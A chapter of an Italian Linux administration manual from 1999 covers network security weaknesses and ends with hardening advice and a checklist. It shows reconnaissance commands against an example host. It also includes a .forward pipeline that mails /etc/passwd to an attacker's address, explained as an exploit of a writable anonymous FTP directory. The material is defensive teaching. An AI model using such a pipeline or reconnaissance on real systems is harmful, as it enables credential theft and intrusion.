Quando un sistema è collegato a una rete di grandi dimensioni (o direttamente a Internet) per la maggior parte del tempo, è soggetto ad aggressioni di ogni tipo. Chi amministra sistemi del genere ha il suo bel da fare a cercare di impedire l'accesso da parte di estranei non autorizzati, anche se spesso si ignora candidamente il problema.
Il problema della sicurezza dei sistemi in rete non ha una soluzione definitiva, ma solo delle regole indicative. Alle volte è sufficiente ignorare una carenza della versione particolare di un servizio che funziona presso un elaboratore, per lasciare una botola aperta a disposizione di qualcuno che ne conosce il trucco.
Si potrebbe discutere sulle qualità morali di chi passa il proprio tempo a studiare il modo migliore per danneggiare il suo prossimo, ma questo non serve poi a risolvere il problema.
|
Questo capitolo ha il solo scopo di introdurre il problema, mostrando anche qualche esempio di quali possano essere i punti deboli di un elaboratore collegato in rete. Non è intenzione dell'autore (che comunque non ne sarebbe in grado, data la sua scarsa preparazione) l'incoraggiare i lettori verso attività scorrette o illegali nei confronti di chiunque. |
Nel momento in cui si piazza in rete un proprio elaboratore, rendendolo accessibile al pubblico, si assumono delle responsabilità. In particolare, a proposito del problema della sicurezza, altri sistemi potrebbero risultare danneggiati da un attacco condotto con successo ai danni del proprio. Quindi, la cosa non può essere ignorata, anche quando per se stessi potrebbe non essere importante.
Quando un sistema viene attaccato, e l'aggressore riesce nel suo intendo, non si può dire a cosa gli servirà, ma si possono immaginare quante cose terribili potrebbero essere ottenute a nome di quell'elaboratore, e quindi del suo amministratore. Giusto a titolo di esempio, si può considerare che questo potrebbe servire: a inviare messaggi non desiderabili (spam); a ottenere accesso alle informazioni contenute nell'elaboratore; a modificarle per qualche fine; ad annusare la rete circostante alla ricerca di informazioni utili ad accedere agli elaboratori che si trovano in prossimità di quello già compromesso; oppure, più in generale, a coprire altre azioni di attacco verso altri sistemi estranei, usando il primo come copertura.
Con questo scenario, si comprende che la cosa più grave che deriva da un sistema compromesso è il rischio per il suo amministratore di essere coinvolto nell'attività illegale di qualcun altro. Pertanto, quando ci si dovesse accorgere di questo, se possibile, sarebbe opportuno staccare fisicamente tale elaboratore dalla rete, avvisare le altre persone coinvolte nell'amministrazione degli elaboratori della stessa rete locale (o che comunque hanno una qualche relazione con quello compromesso), e tenere traccia in un registro fisico dell'accaduto, e delle misure prese come conseguenza.
La necessità di annotare l'accaduto e le operazioni compiute deriva dalla possibilità di essere coinvolti in un procedimento giudiziario da parte di chi dovesse essere stato danneggiato dall'attività di questo ignoto.
Nello stesso modo in cui si può essere accusati ingiustamente di attività criminali compiute da altri, si rischia di accusare degli innocenti quando si cerca di determinare l'origine di un attacco. È importante tenere conto che se il sistema è stato compromesso, anche i file delle registrazioni possono esserlo, e comunque, l'attacco potrebbe essere giunto attraverso un sistema già compromesso in precedenza, all'insaputa del suo amministratore.
I servizi offerti da un sistema connesso in rete offrono una serie di informazioni, necessarie a compiere tali servizi. Queste informazioni sono la base di partenza di qualunque possibile attacco. Per comprendere l'importanza di ciò, occorre tentare di ragionare nello stesso modo dell'ipotetico aggressore.
La conseguenza normale della presa di coscienza di questo lato del problema è la tendenza alla riduzione dei servizi, in modo da limitare le notizie disponibili all'esterno.
|
Gli esempi che vengono mostrati, possono essere usati tranquillamente contro macchine di cui si ha l'amministrazione (e quindi la responsabilità). Se però si tenta di scoprire le debolezze di qualche altro sistema, anche se si crede di agire in buona fede, questo comportamento può essere individuato e considerato un tentativo di attacco reale. |
Il protocollo Finger è la fonte primaria di informazioni per chi vuole tentare un attacco a un sistema, e in questa ottica va valutata la possibilità di escludere tale servizio dalla rete (il demone fingerd).
Finger permette di conoscere chi è connesso al sistema e cosa sta facendo.
bruto@krampus:~$ finger @vittima.brot.dg[Invio]
[vittima.brot.dg] Welcome to Linux version 2.0.35 at vittima.brot.dg ! 12:07pm up 4:22, 1 users, load average: 0.00, 0.00, 0.00 Login Name Tty Idle Login Time Office Office Phone daniele *6 4:21 Sep 30 07:45 |
Già questo permette di sapere il tipo di kernel utilizzato e le informazioni uptime (evidentemente l'elaboratore della vittima ha avviato il demone fingerd con l'opzione -w
L'informazione sull'utilizzo del sistema è importante per l'aggressore, che può determinare quando agire in modo da non essere scoperto.
L'aggressore potrebbe poi tentare un'interrogazione dell'elenco degli utenti, utilizzando l'esperienza delle consuetudini comuni. Così facendo potrebbe scoprire un utente di sistema mal configurato, per esempio nobody, oppure un utente di prova lasciato lì, o comunque un'utenza inutilizzata per qualche motivo.
bruto@krampus:~$ finger root@vittima.brot.dg
Login: root Name: root Directory: /root Shell: /bin/bash Last login Thu Sep 30 8:34 (CEST) on ttyp1 from dinkel.brot.dg.1.168.192.in-addr.arpa ... |
Tanto per cominciare, in questo esempio si vede che l'utente root può accedere da un elaboratore della rete locale, e così se ne conosce anche la presenza e il nome: dinkel.brot.dg.
bruto@krampus:~$ finger nobody@vittima.brot.dg
Login: nobody Name: Nobody Directory: /tmp Shell: /bin/sh Never logged in. ... |
In questo caso, si nota che l'utente nobody è stato configurato male. infatti, la directory personale di questo utente di sistema, dal momento che esiste una shell presumibilmente valida, non può essere /tmp/. Chiunque possa avere accesso a tale directory, cioè ogni utente, potrebbe inserirvi dei file di configurazione allo scopo di abilitare una connessione esterna senza la richiesta di una password (verrà descritto più avanti l'uso possibile di file come .rhosts e .shosts).
bruto@krampus:~$ finger pippo@vittima.brot.dg
Login: pippo Name: (null) Directory: /home/pippo Shell: /bin/bash Last login Thu Jan 1 10:18 (CET) on tty2 |
La scoperta di un utente che non accede da molto tempo, permette all'aggressore di concentrare la sua attenzione su questo per tentare di impadronirsene. Di solito si tratta di utenti creati solo per fare qualche prova (pippo, prova, guest, backdoor,...) e poi lasciati lì e dimenticati. Niente di meglio quindi, considerato che spesso questi hanno delle password banali e individuabili facilmente.
La condivisione del filesystem attraverso il protocollo NFS può essere verificata facilmente attraverso un comando come showmount. La conoscenza delle porzioni condivise del filesystem aggiunge un tassello in più alle informazioni che può raccogliere l'ipotetico aggressore.
bruto@krampus:~$ /usr/sbin/showmount -e vittima.brot.dg
Export list for vittima.brot.dg: / *.brot.dg,*.mehl.dg,*.plip.dg /tftpboot *.brot.dg,*.mehl.dg,*.plip.dg /home *.brot.dg,*.mehl.dg,*.plip.dg /mnt *.brot.dg,*.mehl.dg,*.plip.dg /opt *.brot.dg,*.mehl.dg,*.plip.dg /usr *.brot.dg,*.mehl.dg,*.plip.dg |
Per quanto riguarda questo servizio, l'amministratore di vittima.brot.dg è stato abbastanza accurato, tranne per il fatto di avere concesso l'esportazione della directory radice per intero. Il fatto di avere limitato l'accessibilità a domini determinati (presumibilmente componenti la rete locale su cui è inserito tale elaboratore) non è una garanzia sufficiente. Chi dovesse riuscire a ottenere un accesso presso una macchina di questa rete, potrebbe sfruttare questa occasione.
|
È importante ribadire la pericolosità dell'esportazione di una directory radice. Se un ipotetico aggressore dovesse conoscere un difetto del server NFS che gli potesse permettere di accedere, anche se formalmente non ne risulta autorizzato, il danno sarebbe enorme. |
Si osservi l'esportazione della directory /home/; di sicuro viene concessa anche la scrittura. Se l'ipotetico aggressore fosse in grado di montare questa directory nel suo sistema, gli sarebbe facile inserire file di configurazione come .rhosts (rsh) e .shosts (ssh), per autorizzarsi l'accesso in qualità di quell'utente (anche senza l'utilizzo di alcuna password).
|
Da quanto detto, è importante osservare che sarebbe meglio esportare directory in lettura/scrittura solo a client indicati in modo preciso, e non a tutta una rete o sottorete. In tutti gli altri casi, dove possibile, sarebbe meglio esportare solo in lettura. |
Un'altra fonte di informazioni molto importante è data dai servizi RPC, attraverso il portmapper. Basta usare rpcinfo per sapere quali servizi RPC sono offerti da un certo server. Si osservi l'esempio seguente:
bruto@krampus:~$ rpcinfo -p vittima.brot.dg
program vers proto port
100000 2 tcp 111 rpcbind
100000 2 udp 111 rpcbind
100005 1 udp 635 mountd
100005 2 udp 635 mountd
100005 1 tcp 635 mountd
100005 2 tcp 635 mountd
100003 2 udp 2049 nfs
100003 2 tcp 2049 nfs
|
In questo caso non c'è molto da sfruttare. In pratica è disponibile solo il servizio NFS. Però, in altre situazioni si può scoprire la presenza di NIS (YP) o di altri servizi più insidiosi.
Il servizio DNS permette di fornire molte informazioni, spesso inutili. Sarebbe il caso di limitarsi alla configurazione necessaria alla risoluzione corretta dei nomi e degli indirizzi, senza aggiungere altre notizie.
Per ottenere tutte le informazioni offerte da un server DNS determinato, si può usare nslookup con l'opzione -q=anyunipg.it, e come si può vedere dal risultato non ci sono informazioni superflue.
$ nslookup [Invio]-q=any unipg.it
Non-authoritative answer: unipg.it nameserver = teseo.unipg.it unipg.it nameserver = dedalo.unipg.it unipg.it nameserver = giannutri.caspur.it unipg.it nameserver = dns2.nic.it unipg.it preference = 20, mail exchanger = euliste.krenet.it unipg.it preference = 50, mail exchanger = ipguniv.unipg.it unipg.it preference = 10, mail exchanger = egeo.unipg.it Authoritative answers can be found from: unipg.it nameserver = teseo.unipg.it unipg.it nameserver = dedalo.unipg.it unipg.it nameserver = giannutri.caspur.it unipg.it nameserver = dns2.nic.it teseo.unipg.it internet address = 141.250.1.7 dedalo.unipg.it internet address = 141.250.1.6 giannutri.caspur.it internet address = 193.204.5.35 dns2.nic.it internet address = 193.205.245.8 euliste.krenet.it internet address = 194.143.128.33 ipguniv.unipg.it internet address = 141.250.1.1 egeo.unipg.it internet address = 141.250.1.4 |
Gli errori di configurazione dei servizi sono il metodo più comune attraverso cui si consente l'aggressione del proprio sistema. In questo caso, non ci sono sistemi sicuri che tengano, a meno che il servizio stesso sia stato predisposto per impedire delle «castronerie».
Il servizio FTP anonimo si basa sulla definizione di un utente di sistema, ftp, e della relativa directory personale (home), ~ftp/. L'utente che accede in modo normale vede un filesystem ridotto, dove la radice corrisponde alla directory ~ftp/.
All'interno di questo piccolo mondo ci sono dei programmi di utilità, delle librerie e dei file di configurazione, tra cui in particolare anche il file ~ftp/etc/passwd. Questo file non deve essere la copia di /etc/passwd, altrimenti si rischierebbe di mettere in condizione l'utente anonimo di leggere le password cifrate: un aggressore sarebbe in grado di scoprire le password reali degli utenti. A dire il vero, questa directory ~ftp/etc/ dovrebbe impedire la lettura del suo contenuto (0111), ma questo serve solo a non fare conoscere quali file sono contenuti, e tutti sanno che c'è il file ~ftp/etc/passwd.
Inoltre, il fatto di lasciare il permesso di scrittura alla directory ~ftp/ può essere altrettanto insidioso. Un utente anonimo potrebbe mettere lì un file .forward creato appositamente per i suoi scopi. Nell'esempio seguente si mostra in che modo sia possibile per un aggressore il farsi spedire via posta elettronica il contenuto del file /etc/passwd reale del sistema.
*1*
L'aggressore potrebbe creare un file per il forward (la prosecuzione dei messaggi) contenente un comando, cosa consentita da Sendmail. In pratica, si potrebbe trattare del contenuto seguente:
"|/bin/mail bruto@krampus.mehl.dg < /etc/passwd" |
Come si vede, si tratta di una pipeline con cui si avvia mail per inviare il file /etc/passwd all'indirizzo bruto@krampus.mehl.dg.
Questo file dovrebbe essere inviato nella directory principale del servizio FTP della vittima, nominandolo .forward, e questo può essere fatto se quella directory risulta scrivibile.
Da quel momento, è sufficiente inviare un messaggio di posta elettronica qualunque all'indirizzo ftp@vittima.brot.dg perché bruto@krampus.mehl.dg riceva quel file delle password.
È molto probabile che per l'aggressore non sia poi tanto facile cancellare le tracce lasciate, e ciò è soltanto un bene. Tuttavia questa è la dimostrazione di cosa può fare una configurazione errata di tale servizio.
Il servizio offerto dai demoni rlogind e rshd è pericoloso per la sua sola presenza, in quanto un aggressore potrebbe utilizzare un difetto in un altro servizio per configurare con successo un proprio accesso utilizzando un utente già esistente. Oltre a questo, una configurazione errata potrebbe consentire un accesso indiscriminato.
La configurazione avviene attraverso due file possibili: /etc/hosts.equiv e ~/.rhosts (quest'ultimo nella directory personale degli utenti che ne vogliono usufruire).
Finché in questi file appaiono solo nomi di nodi a cui viene concesso di accedere, i pericoli sono limitati (si fa per dire): ogni utente accede al server senza l'indicazione della password, ma è almeno costretto a utilizzare lo stesso nominativo-utente. Se però si aggiungono anche i nomi di utenti che possono accedere dall'esterno, se questo viene fatto nel file /etc/hosts.equiv, si concede loro di assumere la personalità di qualunque altro utente di quel sistema, eccetto (normalmente) l'utente root.
dinkel.brot.dg roggen.brot.dg dinkel.brot.dg tizio dinkel.brot.dg caio |
Se quello che si vede è il contenuto del file /etc/hosts.equiv, gli utenti tizio e caio del client dinkel.brot.dg possono accedere come gli pare.
tizio@dinkel:~$ rsh -l pippo vittima.brot.dg ...
L'esempio mostra l'utente tizio che accede all'elaboratore vittima.brot.dg, utilizzando lì il nominativo-utente pippo, senza dover indicare alcuna password.
Questi file non prevedono l'indicazione di commenti. Se viene utilizzato il simbolo #, può sembrare che questo funzioni regolarmente come un commento, però, se a un aggressore fosse possibile introdurre nel sistema DNS un nodo denominato proprio «#», e fare in modo che corrisponda a un suo indirizzo IP di comodo, ecco che quel commento servirebbe solo ad aggiungere un nuovo accesso senza password.
Alcuni servizi, e tra questi anche solo alcuni programmi, sono pericolosi per loro natura, e se devono essere utilizzati è necessario che ciò avvenga su macchine di una rete locale ben protetta dalla rete esterna.
Il protocollo TFTP viene usato normalmente per consentire ai sistemi senza disco (diskless) di avviarsi. Per questo, normalmente, viene permesso l'accesso alla directory /tftpboot/ nel server, all'interno della quale si articolano le varie directory specifiche di ogni client che deve potersi connettere.
Tra queste directory c'è sicuramente /tftpboot/<indirizzo-IP>/etc/, contenente la configurazione particolare di un certo client. È chiaro che un aggressore potrebbe avere accesso facilmente a tale file, con il quale potrebbe tentare di decifrare le password degli utenti di quel sistema senza disco.
Il problema diventa più grave quando i file passwd e group sono comuni a tutti i client, e al limite anche al server stesso. Infatti, spesso, per semplificare le cose, si utilizzano dei collegamenti fisici per questo scopo.
Ancora più grave diventa il problema se il servizio è configurato in modo da consentire l'accesso a partire dalla directory radice del server, cosa che si ottiene con la riga seguente nel file /etc/inetd.conf.
tftp dgram udp wait root /usr/sbin/tcpd in.tftpd / |
La presenza di un servizio NIS viene scoperta facilmente attraverso un'interrogazione RPC, con il comando rpcinfo . L'unica «difesa» che ha il servizio NIS è quella di utilizzare un dominio NIS non intuibile; diversamente, chiunque ne sia a conoscenza può utilizzare il servizio.
-p
Le ultime versioni del NIS utilizzato con GNU/Linux, riconoscono i file /etc/hosts.allow e /etc/hosts.deny, cosa che dovrebbe limitare questo problema di accessibilità. Tuttavia, non bisogna dimenticare che i pericoli si corrono anche all'interno della propria rete locale, quella per la quale si concede normalmente l'utilizzo di tale servizio.
A parte queste considerazioni, il tipo di NIS che si utilizza normalmente fa viaggiare nella rete tutte le informazioni che amministra, comprese le password cifrate degli utenti. Un aggressore che avesse modo di analizzare la rete su cui viaggiano questi dati, potrebbe trarne vantaggio.
Un'altra cosa da considerare è che le informazioni amministrate dal NIS vengono collocate nella directory /var/yp/<dominio-NIS>/. Se un aggressore dovesse riuscire a leggere tali directory, verrebbe immediatamente a conoscenza del nome del dominio NIS, e poi, analizzando il contenuto dei vari file, potrebbe estrarre tutte le informazioni che gli servono sugli utenti. Quello che si vuole dire con questo è che non deve sfuggire l'esportazione della directory /var/ attraverso il servizio NFS, perché sarebbe come esportare la directory /etc/ stessa.
Il sistema grafico X è in grado di connettere i dispositivi che compongono la stazione grafica (tastiera, mouse e schermo), attraverso la rete. Questo si traduce nella possibilità per gli utenti di avviare un programma in un elaboratore diverso dal proprio, e di gestirne il funzionamento attraverso il proprio schermo grafico. Evidentemente, questo significa che vengono fatte viaggiare attraverso la rete informazioni potenzialmente delicate, esattamente come se si usasse una shell remota non cifrata.
In generale, sarebbe opportuno impedire qualunque interazione tra gli elaboratori per ciò che riguarda X. Inoltre, bisognerebbe vietarne l'utilizzo incontrollato, impedendo il transito di questo protocollo attraverso i router.
Sendmail è considerato generalmente un server SMTP fragile dal punto di vista della sicurezza. Sendmail è stato progettato originalmente con una filosofia di massima prestazione e configurabilità, trascurando aspetti della sicurezza che si sono presentati con il tempo.
Uno dei maggiori problemi di Sendmail è legato alla possibilità di avere un destinatario rappresentato da un file o da una pipeline. Questo può essere utile nel file /etc/aliases o nel file ~/.forward di ogni utente, per creare un archivio di messaggi, per gestire una lista di posta elettronica, o per filtrare i messaggi attraverso programmi specifici.
È già stato descritto come potrebbe essere sfruttato il file ~/.forward da parte di un aggressore che sia in grado di creare o di aprire questo file in scrittura nella directory di un utente: inviando un messaggio all'indirizzo di quell'utente potrebbe ottenere l'avvio di un comando definito in una pipeline.
In passato, si sono evidenziate diverse tecniche che sfruttavano questo meccanismo, magari semplicemente mettendo dei comandi al posto dei destinatari dei messaggi. Attualmente questi problemi sono conosciuti, e le versioni più recenti di Sendmail non dovrebbero consentire più questi trucchi. Fidarsi è bene,... ma in generale Sendmail è classificabile come un programma potenzialmente pericoloso.
A quanto detto si aggiunga l'estrema difficoltà nella sua configurazione, cosa che costringe generalmente a mantenere ciò che è stato definito da altri. Un errore in questa configurazione, fatto da chiunque, potrebbe permette a qualcuno di sfruttare Sendmail per scopi indesiderabili; al limite solo per la diffusione di spam.
Recentemente è apparso un pacchetto specifico per GNU/Linux, il cui scopo è quello di facilitare e centralizzare la configurazione dei vari sistemi. Si tratta di Linuxconf.
A parte ogni considerazione sulla validità di questo strumento, dal momento che si tratta di qualcosa di nuovo, è ancora tutta da verificare la sua affidabilità nei confronti della sicurezza. Un aggressore ben preparato potrebbe sfruttare questo protocollo per cambiare la configurazione della sua vittima, in modo da garantirsi un accesso.
A meno che l'elaboratore in cui si utilizza Linuxconf sia isolato, conviene commentare la riga seguente dal file /etc/inetd.conf e fare a meno di installare il pacchetto.
#linuxconf stream tcp wait root /bin/linuxconf linuxconf --http |
Lo studio sui problemi di sicurezza riferiti a un nodo particolare, non può limitarsi all'ambito di quell'elaboratore; deve includere anche l'ambiente circostante, ovvero gli altri elaboratori dai quali può dipendere per determinati servizi, oppure dai quali può accettare accessi senza autenticazione.
L'aggressione a uno di questi sistemi pregiudica conseguentemente tutti quelli che ne dipendono.
Si può parlare di «fiducia incondizionata» quando si concede ad altri elaboratori l'accesso, o l'utilizzo di determinati servizi, senza alcuna forma di controllo che non sia la pura determinazione del nome di questi (il nome di dominio) o del numero IP, mentre in condizioni normali sarebbe necessaria almeno l'indicazione di una password.
Il caso limite di fiducia incondizionata è dato dalla configurazione dei servizi di accesso remoto tramite rlogin o rsh, in modo tale da non richiedere alcuna password. Nello stesso modo va visto il servizio NFS, e la concentrazione amministrativa del NIS.
Quando la fiducia si basa sul semplice riconoscimento del nome del client, il punto debole di questo rapporto sta nella gestione dei servizi che si occupano di risolvere questi nomi in indirizzi IP: DNS o NIS. L'aggressore che dovesse essere in grado di prendere il controllo dei sistemi che si occupano di questi servizi, avrebbe la possibilità di modificarli per i suoi scopi. La cosa diventa ancora più grave quando la gestione di questi servizi (DNS) è esterna all'ambiente controllato dall'amministratore che utilizza questo sistema di fiducia.
Eventualmente, questi rapporti di fiducia possono essere basati, piuttosto che sui nomi, sugli indirizzi IP. Questo servirebbe a ridurre i rischi, ma non a sufficienza: se il transito (il routing) non è completamente sotto controllo, qualcuno potrebbe dirottare gli instradamenti a suo vantaggio.
Per ridurre i rischi dovuti all'uso della fiducia incondizionata, si possono proteggere alcuni servizi attraverso l'uso di chiavi di riconoscimento (come nel caso di Secure Shell), con cui il server può identificare il client, e lo stesso client può verificare che il server sia effettivamente la macchina che si intende contattare.
Il meccanismo si basa sulla definizione di una coppia di chiavi: la chiave privata e la chiave pubblica. L'elaboratore «A» crea una coppia di chiavi che userà per certificare la propria identità: la chiave privata non viene divulgata e gli servirà per generare di volta in volta la prova della propria identità, la chiave pubblica viene fornita a tutti gli altri elaboratori che hanno la necessità di verificare l'identità di «A». Quando due elaboratori vogliono potersi identificare a vicenda, entrambi devono essersi scambiati la rispettiva chiave pubblica.
Quando esiste un reticolo di fiducia reciproca tra diversi nodi, anche se questi possono avere un sistema sicuro di identificazione, resta il problema del transito dei dati lungo la rete, che potrebbero essere intercettati da un aggressore. Infatti, non bisogna trascurare la possibilità che qualcuno riesca a introdursi fisicamente nella rete locale (anche se apparentemente sicura), introducendo un piccolo elaboratore, nascosto opportunamente, con lo scopo di registrare tutte le transazioni, da cui trarre poi informazioni importanti (quali per esempio le password utilizzate per l'accesso remoto).
A questo si può porre rimedio solo con un buon sistema di cifratura, come avviene attraverso Secure Shell. Tuttavia, il problema rimane per tutti quei servizi per i quali non è prevista questa possibilità.
Le porte posteriori, o le botole, o backdoor, sono delle anomalie «naturali», o create ad arte, per permettere a qualcuno di accedere o utilizzare servizi in modo riservato. In pratica, è l'equivalente di un passaggio segreto, sconosciuto al proprietario del castello, attraverso il quale altri possono entrare quando vogliono senza essere notati.
Un aggressore che sia riuscito ad accedere in qualche modo a un sistema, potrebbe prendersi la briga di consolidare la posizione raggiunta ritoccando la configurazione o sostituendo gli eseguibili di alcuni servizi, allo scopo di garantirsi un accesso privilegiato, possibilmente invisibile attraverso i mezzi normali.
Attraverso Internet è possibile procurarsi pacchetti di programmi modificati ad arte per ottenere tali scopi. Quindi, il problema è più serio di quanto si possa immaginare a prima vista.
La soluzione assoluta che garantisca la sicurezza dei sistemi connessi in rete non esiste. Tuttavia si possono tenere a mente alcune regole elementari, dettate dal buon senso. L'elenco di suggerimenti che appare di seguito, è ispirato in modo particolare da Improving the Security of Your Site by Breaking Into it di Dan Farmer e Wietse Venema.
Sarebbe bene escludere il servizio Finger. Se ciò non fosse possibile, sarebbe almeno il caso di utilizzarne una versione modificata che non fornisca informazioni troppo delicate come la directory personale e l'origine dell'ultimo accesso.
Non si deve usare il NIS, a meno che ciò sia assolutamente necessario.
Si deve usare il servizio NFS il meno possibile.
Se viene attivato il servizio NFS, non devono essere esportate directory in modo incondizionato a qualunque nodo (attualmente, i server NFS utilizzati con GNU/Linux non lo consentono in ogni caso). Inoltre, è bene cercare almeno di limitare l'esportazione alla sola lettura.
|
Non si deve esportare assolutamente la directory radice. |
Evitare di fornire servizi attraverso programmi ben conosciuti per i loro problemi di sicurezza. Sendmail è un esempio tipico di un tale programma così pericoloso.
Occorre porre particolare attenzione alla protezione dei server che offrono servizi delicati come DNS, NFS, NIS, e altro. Su queste macchine sarebbe opportuno fossero ammessi ad accedere solo utenti che hanno un ruolo amministrativo.
È necessario esaminare attentamente i servizi offerti, spesso in modo predefinito, attraverso l'analisi del file /etc/inetd.conf, l'interrogazione delle RPC (portmapper) e l'elenco dei processi (alcuni servizi potrebbero essere indipendenti sia da inetd che dal sistema delle RPC).
È importante che siano attivi solo i servizi necessari.
Quando possibile è opportuno utilizzare l'avvio dei servizi attraverso il controllo di inetd+tcpd. Quando non si intende fornire un servizio, conviene almeno monitorarne le richieste attraverso l'ausilio di tcpd (questo particolare verrà chiarito nel capitolo
186.2).
Ridurre o eliminare del tutto la «fiducia» basata esclusivamente sul nome del client.
Utilizzare password shadow, e un comando passwd che non consenta l'utilizzo di password troppo semplici (generalmente è già così nella maggior parte delle distribuzioni GNU/Linux).
Fare a meno di gestire gruppi di lavoro abbinati a password: una password di gruppo è un segreto che non vale nulla.
Disabilitare gli utenti di sistema (bin, daemon, ecc.); disabilitare o eliminare gli utenti comuni che non abbiano utilizzato il sistema da tanto tempo (una gestione corretta delle password shadow può automatizzare questo meccanismo.
Leggere la documentazione disponibile riferita al problema della sicurezza e tenersi aggiornati il più possibile, anche iscrivendosi ai gruppi di discussione che trattano l'argomento.
Installare gli aggiornamenti riferiti alla sicurezza il più presto possibile.
Scandire regolarmente il filesystem alla ricerca di alterazioni nei file. Per questo si utilizza solitamente il pacchetto Tripwire.
Oltre che tenere a mente le regole dettate dal buon senso per cercare di evitare problemi nella sicurezza dei sistemi amministrati, si potrebbe pensare alla definizione di un comportamento standard, verificabile attraverso una lista di spunta, come si fa di solito nei paesi di lingua inglese (checklist). Nel documento Improving the security of your UNIX system, viene proposta un'appendice con un esempio di una tale lista, a cui si ispira quella seguente.
È chiaro che ogni amministratore deve decidere la propria strategia, in funzione delle esigenze e della sua personale propensione al rischio. Con l'esempio seguente, si vuole solo invitare a predisporre la propria lista di spunta personale.
Definizione delle regole imposte agli utenti riferite alle password.
Verifica delle password rispetto a scelte ovvie.
Definizione della scadenza di ogni utenza.
Eliminazione di utenti generici (come il tipico utente guest).
Verifica che tutti gli utenti abbiano una password, o siano disabilitate attraverso un asterisco nel campo corrispondente.
Verifica che tutti gli utenti di sistema non possano essere utilizzati per accedere, per la presenza un asterisco nel campo della password.
Eliminazione delle utenze di gruppo.
Eliminazione del file /etc/hosts.equiv.
Eliminazione dei file ~/.rhosts di ogni utente.
Verifica che il file /etc/securetty contenga solo dispositivi di console.
Verifica che l'esportazione NFS sia consentita solo a nodi indicati in modo preciso, possibilmente per numero IP.
Verifica dell'esportazione NFS minima indispensabile.
Verifica della versione di Sendmail.
Eliminazione del servizio Finger se non è indispensabile.
Verifica del corretto funzionamento del sistema di aggancio nelle connessioni seriali (non devono rimanere aperte le connessioni).
Impedire il transito del protocollo del sistema grafico X attraverso i router.
Impedire i forward di X attraverso Secure Shell.
Eliminazione dei bit SUID e SGID negli script di shell (anche se questo non dovrebbe causare problemi con GNU/Linux).
Verifica di tutti i programmi che hanno il bit SUID o SGID attivato, a meno di quelli che notoriamente devono avere questo privilegio.
Verifica della presenza del bit Sticky nelle directory che sono accessibili in scrittura da tutti gli utenti.
Verifica del valore della maschera dei permessi riferita alla configurazione dell'utente root.
Verifica dei permessi dei file di dispositivo.
Copia di sicurezza completa (livello 0) ogni mese.
Copia di sicurezza incrementale (livello 1) almeno ogni due settimane.
Utilizzo di sistemi di memorizzazione WORM, come i CD-R, per le copie di sicurezza di livello 0.
Kevin Fenzi, Linux Security HOWTO
Dan Farmer, Wietse Venema, Improving the Security of Your Site by Breaking Into it, 1995
Christopher Klaus, Backdoors, 1997
Steven M. Bellovin, There Be Dragons, 1992
David A. Curry, Improving the security of your UNIX systems, 1990
Rootshell
CERT (Computer Emergency Response Team) Coordination Center
Mathematics and Computing Science Dept. of Eindhoven University of Technology (the Netherlands, Europe)
---------------------------
Appunti Linux 1999.09.21 --- Copyright © 1997-1999 Daniele Giacomini -- daniele @ pluto.linux.it
1.) L'idea è tratta da Improving the Security of Your Site by Breaking Into it.